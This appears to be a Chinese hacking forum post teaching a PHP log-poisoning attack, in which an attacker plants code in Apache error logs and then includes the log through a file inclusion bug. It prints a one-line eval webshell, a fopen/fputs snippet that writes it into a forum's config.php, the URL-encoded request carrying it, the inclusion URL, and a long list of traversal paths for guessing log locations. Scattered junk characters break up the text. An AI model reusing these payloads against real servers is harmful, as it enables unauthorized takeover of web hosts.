php包含apache日志写马

admin

因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。

比如还是这句一句话木马
<?eval($_POST[cmd]);?>   

0 H1 v; `4 L* }到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
1 J: u& ~" l" {) S- Y$ _
0 O5 A! C- V* K. g<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
; w# K  ?) O( j: ]% t3 Xfclose($fp);?>   //在config.php里写入一句木马语句
0 s. F2 d$ ]* Z7 G
, \# o% C3 ~, S我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
" |/ @0 k9 g5 K* I5 Z1 d* N转换为
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
% v5 D7 [" V" Q& p5 k& [fclose%28%24fp%29%3B%3F%3E
我们提交
http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
$ e) W# r( _, s0 u( E3 I5 w%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
! S6 v3 X& d. D# G, i1 v%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E
! Y" Z/ q: s  e
7 s! P) g) q% W2 F1 M5 b+ _- _1 g这样就错误日志里就记录下了这行写入webshell的代码。
我们再来包含日志，提交
* X7 a( }5 `, ~6 R8 m& ~http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log

8 _- N+ W5 [( h5 o这样webshell就写入成功了，config.php里就写入一句木马语句
OK.
http://www.xxx.com/forum/config.php这个就成了我们的webshell
直接用lanker的客户端一连，主机就是你的了。

PS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
/ E7 T7 M7 g3 o( }! ^3 e
. v  n  s4 D) }+ M( w其他的日志路径，你可以去猜，也可以参照这里。
../../../../../../../../../../var/log/httpd/access_log
../../../../../../../../../../var/log/httpd/error_log
5 ~; S, J3 V# W7 s3 V# o../apache/logs/error.log
../apache/logs/access.log
+ \9 I" i# J  K) u../../apache/logs/error.log
& ^  T5 m9 z9 _& d  T../../apache/logs/access.log
../../../apache/logs/error.log
. y7 Y' o& r0 G6 o3 F' {9 {../../../apache/logs/access.log
# r7 f: z1 ^8 ^# c. n: K# p! {; E../../../../../../../../../../etc/httpd/logs/acces_log
) @9 t! X' V' i! Q6 j+ ~../../../../../../../../../../etc/httpd/logs/acces.log
* G. C( Q+ b0 x0 f# Z0 k: y../../../../../../../../../../etc/httpd/logs/error_log
../../../../../../../../../../etc/httpd/logs/error.log
../../../../../../../../../../var/www/logs/access_log
../../../../../../../../../../var/www/logs/access.log
../../../../../../../../../../usr/local/apache/logs/access_log
../../../../../../../../../../usr/local/apache/logs/access.log
/ l: a5 r& b$ j, c! x  j../../../../../../../../../../var/log/apache/access_log
../../../../../../../../../../var/log/apache/access.log
  X6 B* b  h1 M# X' {../../../../../../../../../../var/log/access_log
( o; x0 l+ O, U../../../../../../../../../../var/www/logs/error_log
../../../../../../../../../../var/www/logs/error.log
0 Y9 C* J  {9 `6 P7 ^../../../../../../../../../../usr/local/apache/logs/error_log
0 E& m& w; d. I6 E  D! M& b" ^+ a3 L' U../../../../../../../../../../usr/local/apache/logs/error.log
../../../../../../../../../../var/log/apache/error_log
../../../../../../../../../../var/log/apache/error.log
4 m2 b" E3 B* a+ v: ?+ l4 ?../../../../../../../../../../var/log/access_log
* c2 f' X+ N* I# B../../../../../../../../../../var/log/error_log
5 {! n; f$ j5 G3 Z; I2 }/var/log/httpd/access_log      
$ Z8 v& K' D4 o/ N, r: q/var/log/httpd/error_log     
4 w; [! D) y  [( N8 J../apache/logs/error.log     
../apache/logs/access.log
; f/ [. G, d& B" b../../apache/logs/error.log
& @$ b" t! A( U& p../../apache/logs/access.log
../../../apache/logs/error.log
  s0 N. i: v4 [  d+ w../../../apache/logs/access.log
+ t1 K+ j5 S& E7 a+ g: V8 c- O$ u/etc/httpd/logs/acces_log
( \; T3 n: N" Z; O3 O/etc/httpd/logs/acces.log
7 R0 }7 @0 q. j# w1 L* y/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
+ [+ s0 @3 u4 H( m0 I/ g, `7 Y/var/www/logs/access_log
/var/www/logs/access.log
* Q2 |7 i& b4 S% c2 B9 _/usr/local/apache/logs/access_log
/ Y4 o) o" p# F. f! b8 n7 C/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
, |& M& _+ j# v& l: Z: i. O; N/var/www/logs/error_log
9 y0 ~1 `) b$ X' ?2 p/var/www/logs/error.log
* P7 T  b9 Y* ]6 D* @: K" d/usr/local/apache/logs/error_log
+ @3 N9 o$ `( C; _  h( l! j/usr/local/apache/logs/error.log
9 }  ?+ m: v# i. U/var/log/apache/error_log
. L& s: G  H( w4 e  J/var/log/apache/error.log
/var/log/access_log
/var/log/error_log